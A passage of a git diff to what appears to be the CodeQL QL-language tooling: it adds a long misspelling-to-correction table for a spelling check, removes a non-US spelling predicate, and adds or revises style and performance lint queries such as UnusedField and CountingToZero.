+  wrong = "surrended" and right = "surrounded"
+  or
+  wrong = "surrepetitious" and right = "surreptitious"
+  or
+  wrong = "surrepetitiously" and right = "surreptitiously"
+  or
+  wrong = "surreptious" and right = "surreptitious"
+  or
+  wrong = "surreptiously" and right = "surreptitiously"
+  or
+  wrong = "surronded" and right = "surrounded"
+  or
+  wrong = "surrouded" and right = "surrounded"
+  or
+  wrong = "surrouding" and right = "surrounding"
+  or
+  wrong = "surrundering" and right = "surrendering"
+  or
+  wrong = "surveilence" and right = "surveillance"
+  or
+  wrong = "surveill" and right = "surveil"
+  or
+  wrong = "surveyer" and right = "surveyor"
+  or
+  wrong = "surviver" and right = "survivor"
+  or
+  wrong = "survivers" and right = "survivors"
+  or
+  wrong = "survivied" and right = "survived"
+  or
+  wrong = "suseptable" and right = "susceptible"
+  or
+  wrong = "suseptible" and right = "susceptible"
+  or
+  wrong = "suspention" and right = "suspension"
+  or
+  wrong = "swaer" and right = "swear"
+  or
+  wrong = "swaers" and right = "swears"
+  or
+  wrong = "swepth" and right = "swept"
+  or
+  wrong = "swiming" and right = "swimming"
+  or
+  wrong = "syas" and right = "says"
+  or
+  wrong = "symetrical" and right = "symmetrical"
+  or
+  wrong = "symetrically" and right = "symmetrically"
+  or
+  wrong = "symetry" and right = "symmetry"
+  or
+  wrong = "symettric" and right = "symmetric"
+  or
+  wrong = "symmetral" and right = "symmetric"
+  or
+  wrong = "symmetricaly" and right = "symmetrically"
+  or
+  wrong = "synagouge" and right = "synagogue"
+  or
+  wrong = "syncronization" and right = "synchronization"
+  or
+  wrong = "synonomous" and right = "synonymous"
+  or
+  wrong = "synonymns" and right = "synonyms"
+  or
+  wrong = "synphony" and right = "symphony"
+  or
+  wrong = "syphyllis" and right = "syphilis"
+  or
+  wrong = "sypmtoms" and right = "symptoms"
+  or
+  wrong = "syrap" and right = "syrup"
+  or
+  wrong = "sysmatically" and right = "systematically"
+  or
+  wrong = "sytem" and right = "system"
+  or
+  wrong = "sytle" and right = "style"
+  or
+  wrong = "tabacco" and right = "tobacco"
+  or
+  wrong = "tahn" and right = "than"
+  or
+  wrong = "taht" and right = "that"
+  or
+  wrong = "talekd" and right = "talked"
+  or
+  wrong = "targetted" and right = "targeted"
+  or
+  wrong = "targetting" and right = "targeting"
+  or
+  wrong = "tast" and right = "taste"
+  or
+  wrong = "tath" and right = "that"
+  or
+  wrong = "tatoo" and right = "tattoo"
+  or
+  wrong = "tattooes" and right = "tattoos"
+  or
+  wrong = "taxanomic" and right = "taxonomic"
+  or
+  wrong = "taxanomy" and right = "taxonomy"
+  or
+  wrong = "teached" and right = "taught"
+  or
+  wrong = "techician" and right = "technician"
+  or
+  wrong = "techicians" and right = "technicians"
+  or
+  wrong = "techiniques" and right = "techniques"
+  or
+  wrong = "technitian" and right = "technician"
+  or
+  wrong = "technnology" and right = "technology"
+  or
+  wrong = "technolgy" and right = "technology"
+  or
+  wrong = "teh" and right = "the"
+  or
+  wrong = "tehy" and right = "they"
+  or
+  wrong = "telelevision" and right = "television"
+  or
+  wrong = "televsion" and right = "television"
+  or
+  wrong = "telphony" and right = "telephony"
+  or
+  wrong = "temerature" and right = "temperature"
+  or
+  wrong = "tempalte" and right = "template"
+  or
+  wrong = "tempaltes" and right = "templates"
+  or
+  wrong = "temparate" and right = "temperate"
+  or
+  wrong = "temperarily" and right = "temporarily"
+  or
+  wrong = "temperment" and right = "temperament"
+  or
+  wrong = "tempertaure" and right = "temperature"
+  or
+  wrong = "temperture" and right = "temperature"
+  or
+  wrong = "temprary" and right = "temporary"
+  or
+  wrong = "tenacle" and right = "tentacle"
+  or
+  wrong = "tenacles" and right = "tentacles"
+  or
+  wrong = "tendacy" and right = "tendency"
+  or
+  wrong = "tendancies" and right = "tendencies"
+  or
+  wrong = "tendancy" and right = "tendency"
+  or
+  wrong = "tepmorarily" and right = "temporarily"
+  or
+  wrong = "terrestial" and right = "terrestrial"
+  or
+  wrong = "terriories" and right = "territories"
+  or
+  wrong = "terriory" and right = "territory"
+  or
+  wrong = "territorist" and right = "terrorist"
+  or
+  wrong = "territoy" and right = "territory"
+  or
+  wrong = "terroist" and right = "terrorist"
+  or
+  wrong = "testiclular" and right = "testicular"
+  or
+  wrong = "testomony" and right = "testimony"
+  or
+  wrong = "tghe" and right = "the"
+  or
+  wrong = "thast" and right = "that"
+  or
+  wrong = "theather" and right = "theater"
+  or
+  wrong = "theese" and right = "these"
+  or
+  wrong = "theif" and right = "thief"
+  or
+  wrong = "theives" and right = "thieves"
+  or
+  wrong = "themselfs" and right = "themselves"
+  or
+  wrong = "themslves" and right = "themselves"
+  or
+  wrong = "ther" and right = "the"
+  or
+  wrong = "ther" and right = "their"
+  or
+  wrong = "ther" and right = "there"
+  or
+  wrong = "therafter" and right = "thereafter"
+  or
+  wrong = "therby" and right = "thereby"
+  or
+  wrong = "theri" and right = "their"
+  or
+  wrong = "thgat" and right = "that"
+  or
+  wrong = "thge" and right = "the"
+  or
+  wrong = "thier" and right = "their"
+  or
+  wrong = "thign" and right = "thing"
+  or
+  wrong = "thigns" and right = "things"
+  or
+  wrong = "thigsn" and right = "things"
+  or
+  wrong = "thikn" and right = "think"
+  or
+  wrong = "thikning" and right = "thickening"
+  or
+  wrong = "thikning" and right = "thinking"
+  or
+  wrong = "thikns" and right = "thinks"
+  or
+  wrong = "thiunk" and right = "think"
+  or
+  wrong = "thn" and right = "then"
+  or
+  wrong = "thna" and right = "than"
+  or
+  wrong = "thne" and right = "then"
+  or
+  wrong = "thnig" and right = "thing"
+  or
+  wrong = "thnigs" and right = "things"
+  or
+  wrong = "thoughout" and right = "throughout"
+  or
+  wrong = "threatend" and right = "threatened"
+  or
+  wrong = "threatning" and right = "threatening"
+  or
+  wrong = "threee" and right = "three"
+  or
+  wrong = "threshhold" and right = "threshold"
+  or
+  wrong = "thrid" and right = "third"
+  or
+  wrong = "throrough" and right = "thorough"
+  or
+  wrong = "throughly" and right = "thoroughly"
+  or
+  wrong = "throught" and right = "thought"
+  or
+  wrong = "throught" and right = "through"
+  or
+  wrong = "throught" and right = "throughout"
+  or
+  wrong = "througout" and right = "throughout"
+  or
+  wrong = "thru" and right = "through"
+  or
+  wrong = "thsi" and right = "this"
+  or
+  wrong = "thsoe" and right = "those"
+  or
+  wrong = "thta" and right = "that"
+  or
+  wrong = "thyat" and right = "that"
+  or
+  wrong = "tiem" and right = "tim"
+  or
+  wrong = "tiem" and right = "time"
+  or
+  wrong = "tihkn" and right = "think"
+  or
+  wrong = "tihs" and right = "this"
+  or
+  wrong = "timne" and right = "time"
+  or
+  wrong = "tiome" and right = "time"
+  or
+  wrong = "tiome" and right = "tome"
+  or
+  wrong = "tje" and right = "the"
+  or
+  wrong = "tjhe" and right = "the"
+  or
+  wrong = "tjpanishad" and right = "upanishad"
+  or
+  wrong = "tkae" and right = "take"
+  or
+  wrong = "tkaes" and right = "takes"
+  or
+  wrong = "tkaing" and right = "taking"
+  or
+  wrong = "tlaking" and right = "talking"
+  or
+  wrong = "tobbaco" and right = "tobacco"
+  or
+  wrong = "todya" and right = "today"
+  or
+  wrong = "toghether" and right = "together"
+  or
+  wrong = "toke" and right = "took"
+  or
+  wrong = "tolerence" and right = "tolerance"
+  or
+  wrong = "tolkein" and right = "tolkien"
+  or
+  wrong = "tomatos" and right = "tomatoes"
+  or
+  wrong = "tommorow" and right = "tomorrow"
+  or
+  wrong = "tommorrow" and right = "tomorrow"
+  or
+  wrong = "tongiht" and right = "tonight"
+  or
+  wrong = "toriodal" and right = "toroidal"
+  or
+  wrong = "tormenters" and right = "tormentors"
+  or
+  wrong = "tornadoe" and right = "tornado"
+  or
+  wrong = "torpeados" and right = "torpedoes"
+  or
+  wrong = "torpedos" and right = "torpedoes"
+  or
+  wrong = "tortise" and right = "tortoise"
+  or
+  wrong = "toubles" and right = "troubles"
+  or
+  wrong = "tounge" and right = "tongue"
+  or
+  wrong = "tourch" and right = "torch"
+  or
+  wrong = "tourch" and right = "touch"
+  or
+  wrong = "towords" and right = "towards"
+  or
+  wrong = "towrad" and right = "toward"
+  or
+  wrong = "tradionally" and right = "traditionally"
+  or
+  wrong = "traditionaly" and right = "traditionally"
+  or
+  wrong = "traditionnal" and right = "traditional"
+  or
+  wrong = "traditition" and right = "tradition"
+  or
+  wrong = "tradtionally" and right = "traditionally"
+  or
+  wrong = "trafficed" and right = "trafficked"
+  or
+  wrong = "trafficing" and right = "trafficking"
+  or
+  wrong = "trafic" and right = "traffic"
+  or
+  wrong = "trancendent" and right = "transcendent"
+  or
+  wrong = "trancending" and right = "transcending"
+  or
+  wrong = "tranform" and right = "transform"
+  or
+  wrong = "tranformed" and right = "transformed"
+  or
+  wrong = "transcendance" and right = "transcendence"
+  or
+  wrong = "transcendant" and right = "transcendent"
+  or
+  wrong = "transcendentational" and right = "transcendental"
+  or
+  wrong = "transcripting" and right = "transcribing"
+  or
+  wrong = "transcripting" and right = "transcription"
+  or
+  wrong = "transending" and right = "transcending"
+  or
+  wrong = "transesxuals" and right = "transsexuals"
+  or
+  wrong = "transfered" and right = "transferred"
+  or
+  wrong = "transfering" and right = "transferring"
+  or
+  wrong = "transformaton" and right = "transformation"
+  or
+  wrong = "transistion" and right = "transition"
+  or
+  wrong = "translater" and right = "translator"
+  or
+  wrong = "translaters" and right = "translators"
+  or
+  wrong = "transmissable" and right = "transmissible"
+  or
+  wrong = "transporation" and right = "transportation"
+  or
+  wrong = "tremelo" and right = "tremolo"
+  or
+  wrong = "tremelos" and right = "tremolos"
+  or
+  wrong = "treshold" and right = "threshold"
+  or
+  wrong = "triguered" and right = "triggered"
+  or
+  wrong = "triology" and right = "trilogy"
+  or
+  wrong = "troling" and right = "trolling"
+  or
+  wrong = "troup" and right = "troupe"
+  or
+  wrong = "troups" and right = "troops"
+  or
+  wrong = "troups" and right = "troupes"
+  or
+  wrong = "truely" and right = "truly"
+  or
+  wrong = "trustworthyness" and right = "trustworthiness"
+  or
+  wrong = "turnk" and right = "trunk"
+  or
+  wrong = "turnk" and right = "turnkey"
+  or
+  wrong = "tuscon" and right = "tucson"
+  or
+  wrong = "tust" and right = "trust"
+  or
+  wrong = "twelth" and right = "twelfth"
+  or
+  wrong = "twon" and right = "town"
+  or
+  wrong = "twpo" and right = "two"
+  or
+  wrong = "tyhat" and right = "that"
+  or
+  wrong = "tyhe" and right = "they"
+  or
+  wrong = "typcial" and right = "typical"
+  or
+  wrong = "typicaly" and right = "typically"
+  or
+  wrong = "tyranies" and right = "tyrannies"
+  or
+  wrong = "tyrany" and right = "tyranny"
+  or
+  wrong = "tyrranies" and right = "tyrannies"
+  or
+  wrong = "tyrrany" and right = "tyranny"
+  or
+  wrong = "ubiquitious" and right = "ubiquitous"
+  or
+  wrong = "ublisher" and right = "publisher"
+  or
+  wrong = "udpate" and right = "update"
+  or
+  wrong = "uise" and right = "use"
+  or
+  wrong = "ukranian" and right = "ukrainian"
+  or
+  wrong = "ultimely" and right = "ultimately"
+  or
+  wrong = "unacompanied" and right = "unaccompanied"
+  or
+  wrong = "unahppy" and right = "unhappy"
+  or
+  wrong = "unanymous" and right = "unanimous"
+  or
+  wrong = "unathorised" and right = "unauthorised"
+  or
+  wrong = "unavailible" and right = "unavailable"
+  or
+  wrong = "unballance" and right = "unbalance"
+  or
+  wrong = "unbeknowst" and right = "unbeknownst"
+  or
+  wrong = "unbeleivable" and right = "unbelievable"
+  or
+  wrong = "uncertainity" and right = "uncertainty"
+  or
+  wrong = "unchallengable" and right = "unchallengeable"
+  or
+  wrong = "unchangable" and right = "unchangeable"
+  or
+  wrong = "uncompetive" and right = "uncompetitive"
+  or
+  wrong = "unconcious" and right = "unconscious"
+  or
+  wrong = "unconciousness" and right = "unconsciousness"
+  or
+  wrong = "unconfortability" and right = "discomfort"
+  or
+  wrong = "uncontitutional" and right = "unconstitutional"
+  or
+  wrong = "unconvential" and right = "unconventional"
+  or
+  wrong = "undecideable" and right = "undecidable"
+  or
+  wrong = "understoon" and right = "understood"
+  or
+  wrong = "undesireable" and right = "undesirable"
+  or
+  wrong = "undetecable" and right = "undetectable"
+  or
+  wrong = "undoubtely" and right = "undoubtedly"
+  or
+  wrong = "undreground" and right = "underground"
+  or
+  wrong = "uneccesary" and right = "unnecessary"
+  or
+  wrong = "unecessary" and right = "unnecessary"
+  or
+  wrong = "unequalities" and right = "inequalities"
+  or
+  wrong = "unforetunately" and right = "unfortunately"
+  or
+  wrong = "unforgetable" and right = "unforgettable"
+  or
+  wrong = "unforgiveable" and right = "unforgivable"
+  or
+  wrong = "unforseen" and right = "unforeseen"
+  or
+  wrong = "unfortunatley" and right = "unfortunately"
+  or
+  wrong = "unfortunatly" and right = "unfortunately"
+  or
+  wrong = "unfourtunately" and right = "unfortunately"
+  or
+  wrong = "unihabited" and right = "uninhabited"
+  or
+  wrong = "unilateraly" and right = "unilaterally"
+  or
+  wrong = "unilatreal" and right = "unilateral"
+  or
+  wrong = "unilatreally" and right = "unilaterally"
+  or
+  wrong = "uninterruped" and right = "uninterrupted"
+  or
+  wrong = "uninterupted" and right = "uninterrupted"
+  or
+  wrong = "unintialized" and right = "uninitialized"
+  or
+  wrong = "unitesstates" and right = "unitedstates"
+  or
+  wrong = "univeral" and right = "universal"
+  or
+  wrong = "univeristies" and right = "universities"
+  or
+  wrong = "univeristy" and right = "university"
+  or
+  wrong = "univerity" and right = "university"
+  or
+  wrong = "universtiy" and right = "university"
+  or
+  wrong = "univesities" and right = "universities"
+  or
+  wrong = "univesity" and right = "university"
+  or
+  wrong = "unkown" and right = "unknown"
+  or
+  wrong = "unlikey" and right = "unlikely"
+  or
+  wrong = "unmanouverable" and right = "unmaneuverable"
+  or
+  wrong = "unmanouverable" and right = "unmanoeuvrable"
+  or
+  wrong = "unmistakeably" and right = "unmistakably"
+  or
+  wrong = "unneccesarily" and right = "unnecessarily"
+  or
+  wrong = "unneccesary" and right = "unnecessary"
+  or
+  wrong = "unneccessarily" and right = "unnecessarily"
+  or
+  wrong = "unneccessary" and right = "unnecessary"
+  or
+  wrong = "unnecesarily" and right = "unnecessarily"
+  or
+  wrong = "unnecesary" and right = "unnecessary"
+  or
+  wrong = "unoffical" and right = "unofficial"
+  or
+  wrong = "unoperational" and right = "nonoperational"
+  or
+  wrong = "unoticeable" and right = "unnoticeable"
+  or
+  wrong = "unplease" and right = "displease"
+  or
+  wrong = "unplesant" and right = "unpleasant"
+  or
+  wrong = "unprecendented" and right = "unprecedented"
+  or
+  wrong = "unprecidented" and right = "unprecedented"
+  or
+  wrong = "unrepentent" and right = "unrepentant"
+  or
+  wrong = "unrepetant" and right = "unrepentant"
+  or
+  wrong = "unrepetent" and right = "unrepentant"
+  or
+  wrong = "unsed" and right = "unsaid"
+  or
+  wrong = "unsed" and right = "unused"
+  or
+  wrong = "unsed" and right = "used"
+  or
+  wrong = "unsubstanciated" and right = "unsubstantiated"
+  or
+  wrong = "unsuccesful" and right = "unsuccessful"
+  or
+  wrong = "unsuccesfully" and right = "unsuccessfully"
+  or
+  wrong = "unsuccessfull" and right = "unsuccessful"
+  or
+  wrong = "unsucesful" and right = "unsuccessful"
+  or
+  wrong = "unsucesfuly" and right = "unsuccessfully"
+  or
+  wrong = "unsucessful" and right = "unsuccessful"
+  or
+  wrong = "unsucessfull" and right = "unsuccessful"
+  or
+  wrong = "unsucessfully" and right = "unsuccessfully"
+  or
+  wrong = "unsuprised" and right = "unsurprised"
+  or
+  wrong = "unsuprising" and right = "unsurprising"
+  or
+  wrong = "unsuprisingly" and right = "unsurprisingly"
+  or
+  wrong = "unsuprized" and right = "unsurprised"
+  or
+  wrong = "unsuprizing" and right = "unsurprising"
+  or
+  wrong = "unsuprizingly" and right = "unsurprisingly"
+  or
+  wrong = "unsurprized" and right = "unsurprised"
+  or
+  wrong = "unsurprizing" and right = "unsurprising"
+  or
+  wrong = "unsurprizingly" and right = "unsurprisingly"
+  or
+  wrong = "untill" and right = "until"
+  or
+  wrong = "untranslateable" and right = "untranslatable"
+  or
+  wrong = "unuseable" and right = "unusable"
+  or
+  wrong = "unusuable" and right = "unusable"
+  or
+  wrong = "unviersity" and right = "university"
+  or
+  wrong = "unwarrented" and right = "unwarranted"
+  or
+  wrong = "unweildly" and right = "unwieldy"
+  or
+  wrong = "unwieldly" and right = "unwieldy"
+  or
+  wrong = "upcomming" and right = "upcoming"
+  or
+  wrong = "upgradded" and right = "upgraded"
+  or
+  wrong = "usally" and right = "usually"
+  or
+  wrong = "useage" and right = "usage"
+  or
+  wrong = "usefull" and right = "useful"
+  or
+  wrong = "usefuly" and right = "usefully"
+  or
+  wrong = "useing" and right = "using"
+  or
+  wrong = "usualy" and right = "usually"
+  or
+  wrong = "ususally" and right = "usually"
+  or
+  wrong = "vaccum" and right = "vacuum"
+  or
+  wrong = "vaccume" and right = "vacuum"
+  or
+  wrong = "vacinity" and right = "vicinity"
+  or
+  wrong = "vaguaries" and right = "vagaries"
+  or
+  wrong = "vaieties" and right = "varieties"
+  or
+  wrong = "vailidty" and right = "validity"
+  or
+  wrong = "valetta" and right = "valletta"
+  or
+  wrong = "valuble" and right = "valuable"
+  or
+  wrong = "valueable" and right = "valuable"
+  or
+  wrong = "varations" and right = "variations"
+  or
+  wrong = "varient" and right = "variant"
+  or
+  wrong = "variey" and right = "variety"
+  or
+  wrong = "varing" and right = "varying"
+  or
+  wrong = "varities" and right = "varieties"
+  or
+  wrong = "varity" and right = "variety"
+  or
+  wrong = "vasall" and right = "vassal"
+  or
+  wrong = "vasalls" and right = "vassals"
+  or
+  wrong = "vaule" and right = "value"
+  or
+  wrong = "vegatarian" and right = "vegetarian"
+  or
+  wrong = "vegitable" and right = "vegetable"
+  or
+  wrong = "vegitables" and right = "vegetables"
+  or
+  wrong = "vegtable" and right = "vegetable"
+  or
+  wrong = "vehicule" and right = "vehicle"
+  or
+  wrong = "vell" and right = "well"
+  or
+  wrong = "venemous" and right = "venomous"
+  or
+  wrong = "vengance" and right = "vengeance"
+  or
+  wrong = "vengence" and right = "vengeance"
+  or
+  wrong = "verfication" and right = "verification"
+  or
+  wrong = "verison" and right = "version"
+  or
+  wrong = "verisons" and right = "versions"
+  or
+  wrong = "vermillion" and right = "vermilion"
+  or
+  wrong = "versitilaty" and right = "versatility"
+  or
+  wrong = "versitlity" and right = "versatility"
+  or
+  wrong = "vetween" and right = "between"
+  or
+  wrong = "veyr" and right = "very"
+  or
+  wrong = "vigeur" and right = "vigor"
+  or
+  wrong = "vigeur" and right = "vigour"
+  or
+  wrong = "vigeur" and right = "vigueur"
+  or
+  wrong = "vigilence" and right = "vigilance"
+  or
+  wrong = "vigourous" and right = "vigorous"
+  or
+  wrong = "villian" and right = "villain"
+  or
+  wrong = "villification" and right = "vilification"
+  or
+  wrong = "villify" and right = "vilify"
+  or
+  wrong = "villin" and right = "villain"
+  or
+  wrong = "villin" and right = "villein"
+  or
+  wrong = "villin" and right = "villi"
+  or
+  wrong = "vincinity" and right = "vicinity"
+  or
+  wrong = "violentce" and right = "violence"
+  or
+  wrong = "virtualy" and right = "virtually"
+  or
+  wrong = "virutal" and right = "virtual"
+  or
+  wrong = "virutally" and right = "virtually"
+  or
+  wrong = "visable" and right = "visible"
+  or
+  wrong = "visably" and right = "visibly"
+  or
+  wrong = "visting" and right = "visiting"
+  or
+  wrong = "vistors" and right = "visitors"
+  or
+  wrong = "vitories" and right = "victories"
+  or
+  wrong = "volcanoe" and right = "volcano"
+  or
+  wrong = "voleyball" and right = "volleyball"
+  or
+  wrong = "volontary" and right = "voluntary"
+  or
+  wrong = "volonteer" and right = "volunteer"
+  or
+  wrong = "volonteered" and right = "volunteered"
+  or
+  wrong = "volonteering" and right = "volunteering"
+  or
+  wrong = "volonteers" and right = "volunteers"
+  or
+  wrong = "volounteer" and right = "volunteer"
+  or
+  wrong = "volounteered" and right = "volunteered"
+  or
+  wrong = "volounteering" and right = "volunteering"
+  or
+  wrong = "volounteers" and right = "volunteers"
+  or
+  wrong = "volumne" and right = "volume"
+  or
+  wrong = "vreity" and right = "variety"
+  or
+  wrong = "vrey" and right = "very"
+  or
+  wrong = "vriety" and right = "variety"
+  or
+  wrong = "vulnerablility" and right = "vulnerability"
+  or
+  wrong = "vyer" and right = "very"
+  or
+  wrong = "vyre" and right = "very"
+  or
+  wrong = "waht" and right = "what"
+  or
+  wrong = "warantee" and right = "warranty"
+  or
+  wrong = "wardobe" and right = "wardrobe"
+  or
+  wrong = "warrent" and right = "warrant"
+  or
+  wrong = "warrriors" and right = "warriors"
+  or
+  wrong = "wass" and right = "was"
+  or
+  wrong = "watn" and right = "want"
+  or
+  wrong = "wayword" and right = "wayward"
+  or
+  wrong = "weaponary" and right = "weaponry"
+  or
+  wrong = "weas" and right = "was"
+  or
+  wrong = "wehn" and right = "when"
+  or
+  wrong = "weild" and right = "wield"
+  or
+  wrong = "weild" and right = "wild"
+  or
+  wrong = "weilded" and right = "wielded"
+  or
+  wrong = "wendsay" and right = "wednesday"
+  or
+  wrong = "wensday" and right = "wednesday"
+  or
+  wrong = "wereabouts" and right = "whereabouts"
+  or
+  wrong = "whant" and right = "want"
+  or
+  wrong = "whants" and right = "wants"
+  or
+  wrong = "whcih" and right = "which"
+  or
+  wrong = "wheras" and right = "whereas"
+  or
+  wrong = "wherease" and right = "whereas"
+  or
+  wrong = "whereever" and right = "wherever"
+  or
+  wrong = "whic" and right = "which"
+  or
+  wrong = "whihc" and right = "which"
+  or
+  wrong = "whith" and right = "with"
+  or
+  wrong = "whlch" and right = "which"
+  or
+  wrong = "whn" and right = "when"
+  or
+  wrong = "wholey" and right = "wholly"
+  or
+  wrong = "wholy" and right = "holy"
+  or
+  wrong = "wholy" and right = "wholly"
+  or
+  wrong = "whta" and right = "what"
+  or
+  wrong = "whther" and right = "whether"
+  or
+  wrong = "wich" and right = "which"
+  or
+  wrong = "wich" and right = "witch"
+  or
+  wrong = "widesread" and right = "widespread"
+  or
+  wrong = "wief" and right = "wife"
+  or
+  wrong = "wierd" and right = "weird"
+  or
+  wrong = "wiew" and right = "view"
+  or
+  wrong = "wih" and right = "with"
+  or
+  wrong = "wiht" and right = "with"
+  or
+  wrong = "wille" and right = "will"
+  or
+  wrong = "willingless" and right = "willingness"
+  or
+  wrong = "willk" and right = "will"
+  or
+  wrong = "wirting" and right = "writing"
+  or
+  wrong = "withdrawl" and right = "withdraw"
+  or
+  wrong = "withdrawl" and right = "withdrawal"
+  or
+  wrong = "witheld" and right = "withheld"
+  or
+  wrong = "withh" and right = "with"
+  or
+  wrong = "withing" and right = "within"
+  or
+  wrong = "withold" and right = "withhold"
+  or
+  wrong = "witht" and right = "with"
+  or
+  wrong = "witn" and right = "with"
+  or
+  wrong = "wiull" and right = "will"
+  or
+  wrong = "wnat" and right = "want"
+  or
+  wrong = "wnated" and right = "wanted"
+  or
+  wrong = "wnats" and right = "wants"
+  or
+  wrong = "wohle" and right = "whole"
+  or
+  wrong = "wokr" and right = "work"
+  or
+  wrong = "wokring" and right = "working"
+  or
+  wrong = "wonderfull" and right = "wonderful"
+  or
+  wrong = "wordlwide" and right = "worldwide"
+  or
+  wrong = "workststion" and right = "workstation"
+  or
+  wrong = "worls" and right = "world"
+  or
+  wrong = "worstened" and right = "worsened"
+  or
+  wrong = "woudl" and right = "would"
+  or
+  wrong = "wresters" and right = "wrestlers"
+  or
+  wrong = "wriet" and right = "write"
+  or
+  wrong = "writen" and right = "written"
+  or
+  wrong = "wroet" and right = "wrote"
+  or
+  wrong = "wrok" and right = "work"
+  or
+  wrong = "wroking" and right = "working"
+  or
+  wrong = "wtih" and right = "with"
+  or
+  wrong = "wupport" and right = "support"
+  or
+  wrong = "xenophoby" and right = "xenophobia"
+  or
+  wrong = "yaching" and right = "yachting"
+  or
+  wrong = "yaer" and right = "year"
+  or
+  wrong = "yaerly" and right = "yearly"
+  or
+  wrong = "yaers" and right = "years"
+  or
+  wrong = "yatch" and right = "yacht"
+  or
+  wrong = "yearm" and right = "year"
+  or
+  wrong = "yeasr" and right = "years"
+  or
+  wrong = "yeild" and right = "yield"
+  or
+  wrong = "yeilding" and right = "yielding"
+  or
+  wrong = "yementite" and right = "yemeni"
+  or
+  wrong = "yementite" and right = "yemenite"
+  or
+  wrong = "yera" and right = "year"
+  or
+  wrong = "yeras" and right = "years"
+  or
+  wrong = "yersa" and right = "years"
+  or
+  wrong = "yotube" and right = "youtube"
+  or
+  wrong = "youseff" and right = "yousef"
+  or
+  wrong = "youself" and right = "yourself"
+  or
+  wrong = "yrea" and right = "year"
+  or
+  wrong = "ytou" and right = "you"
+  or
+  wrong = "yuo" and right = "you"
+  or
+  wrong = "zeebra" and right = "zebra"
+}
diff --git a/ql/ql/src/codeql_ql/style/docs/NonUSSpellingQuery.qll b/ql/ql/src/codeql_ql/style/docs/NonUSSpellingQuery.qll
deleted file mode 100644
index 19587f7bb0d..00000000000
--- a/ql/ql/src/codeql_ql/style/docs/NonUSSpellingQuery.qll
+++ /dev/null
@@ -1,24 +0,0 @@
-predicate non_us_word(string wrong, string right) {
-  exists(string s |
-    wrong = s.splitAt("/", 0) and
-    right = s.splitAt("/", 1) and
-    s =
-      [
-        "colour/color", "authorise/authorize", "analyse/analyze", "behaviour/behavior",
-        "modelling/modeling", "modelled/modeled"
-      ]
-  )
-}
-
-bindingset[s]
-predicate contains_non_us_spelling(string s, string wrong, string right) {
-  non_us_word(wrong, right) and
-  (
-    s.matches("%" + wrong + "%") and
-    wrong != "analyse"
-    or
-    // analyses (as a noun) is fine
-    s.regexpMatch(".*analyse[^s].*") and
-    wrong = "analyse"
-  )
-}
diff --git a/ql/ql/src/queries/performance/ClassPredicateDoesntMentionThis.ql b/ql/ql/src/queries/performance/ClassPredicateDoesntMentionThis.ql
index 9ed5870dcf3..de7d1c47299 100644
--- a/ql/ql/src/queries/performance/ClassPredicateDoesntMentionThis.ql
+++ b/ql/ql/src/queries/performance/ClassPredicateDoesntMentionThis.ql
@@ -40,7 +40,7 @@ predicate isLiteralComparison(ComparisonFormula eq) {
       or
       exists(NewTypeBranch nt |
         rhs.(Call).getTarget() = nt and
-        count(nt.getField(_)) = 0
+        not exists(nt.getField(_))
       )
     )
   )
@@ -69,7 +69,7 @@ predicate isSingleton(Type ty) {
   or
   isSingleton(ty.getASuperType())
   or
-  exists(NewTypeBranch br | count(br.getField(_)) = 0 |
+  exists(NewTypeBranch br | not exists(br.getField(_)) |
     ty.(NewTypeBranchType).getDeclaration() = br
     or
     br = unique(NewTypeBranch br2 | br2 = ty.(NewTypeType).getDeclaration().getABranch())
diff --git a/ql/ql/src/queries/performance/UnusedField.ql b/ql/ql/src/queries/performance/UnusedField.ql
new file mode 100644
index 00000000000..37b32f61a2a
--- /dev/null
+++ b/ql/ql/src/queries/performance/UnusedField.ql
@@ -0,0 +1,35 @@
+/**
+ * @name UnusedField
+ * @description A field that is not used in the characteristic predicate will contain every value
+ *              of its type when accessed in other predicates, which is probably not intended.
+ * @kind problem
+ * @problem.severity warning
+ * @id ql/unused-field
+ * @precision high
+ */
+
+import ql
+
+from ClassType clz, ClassType implClz, FieldDecl field, string extraMsg
+where
+  clz.getDeclaration().getAField() = field and
+  implClz.getASuperType*() = clz and
+  // The field is not accessed in the charpred (of any of the classes)
+  not exists(FieldAccess access |
+    access.getEnclosingPredicate() = [clz, implClz].getDeclaration().getCharPred()
+  ) and
+  // The implementation class is not abstract, and the field is not an override
+  not implClz.getDeclaration().isAbstract() and
+  not field.isOverride() and
+  // There doesn't exist a class in between `clz` and `implClz` that binds `field`.
+  not exists(ClassType c, CharPred p |
+    c.getASuperType*() = clz and
+    implClz.getASuperType*() = c and
+    p = c.getDeclaration().getCharPred() and
+    exists(FieldAccess access | access.getName() = field.getName() |
+      access.getEnclosingPredicate() = p
+    )
+  ) and
+  (if clz = implClz then extraMsg = "." else extraMsg = " of any class between it and $@.")
+select clz, "The field $@ declared in $@ is not used in the characteristic predicate" + extraMsg,
+  field, field.getName(), clz, clz.getName(), implClz, implClz.getName()
diff --git a/ql/ql/src/queries/style/CountingToZero.ql b/ql/ql/src/queries/style/CountingToZero.ql
new file mode 100644
index 00000000000..7d2a99bb5cc
--- /dev/null
+++ b/ql/ql/src/queries/style/CountingToZero.ql
@@ -0,0 +1,21 @@
+/**
+ * @name Counting zero elements
+ * @description Use not exists instead of checking that there is zero elements in a set.
+ * @kind problem
+ * @problem.severity warning
+ * @id ql/counting-to-zero
+ * @precision high
+ */
+
+import ql
+
+from ComparisonFormula comp, int c, string msg
+where
+  c = 0 and // [0, 1] and // skipping the 1 case for now, as it seems too noisy.
+  comp.getOperator() = ["=", "!="] and
+  comp.getAnOperand().(Integer).getValue() = c and
+  comp.getAnOperand().(Aggregate).getKind() = ["count", "strictcount"] and
+  if c = 0
+  then msg = "Use not exists(..) instead of checking that there is zero elements in a set."
+  else msg = "Use unique(.. | |) instead of checking that there is one element in a set."
+select comp, msg
diff --git a/ql/ql/src/queries/style/GetAPrimaryQlClassConsistency.ql b/ql/ql/src/queries/style/GetAPrimaryQlClassConsistency.ql
index 1136633ed73..00ea044ad55 100644
--- a/ql/ql/src/queries/style/GetAPrimaryQlClassConsistency.ql
+++ b/ql/ql/src/queries/style/GetAPrimaryQlClassConsistency.ql
@@ -10,18 +10,31 @@
 
 import ql
 
-from ClassPredicate pred, String constant
+/**
+ * Gets a string that is allowed to be returned from the `getAPrimaryQlClass` implementation
+ * in class `c`.
+ *
+ * For most languages this is just the name of `c`, but QL for Swift implements
+ * the `getAPrimaryQlClass` predicate for a class `Foo` in another class `FooBase`.
+ */
+string getAnAllowedResultForClass(Class c) {
+  result = c.getName()
+  or
+  c.getName() = result + "Base"
+}
+
+from ClassPredicate pred, String constant, Class c
 where
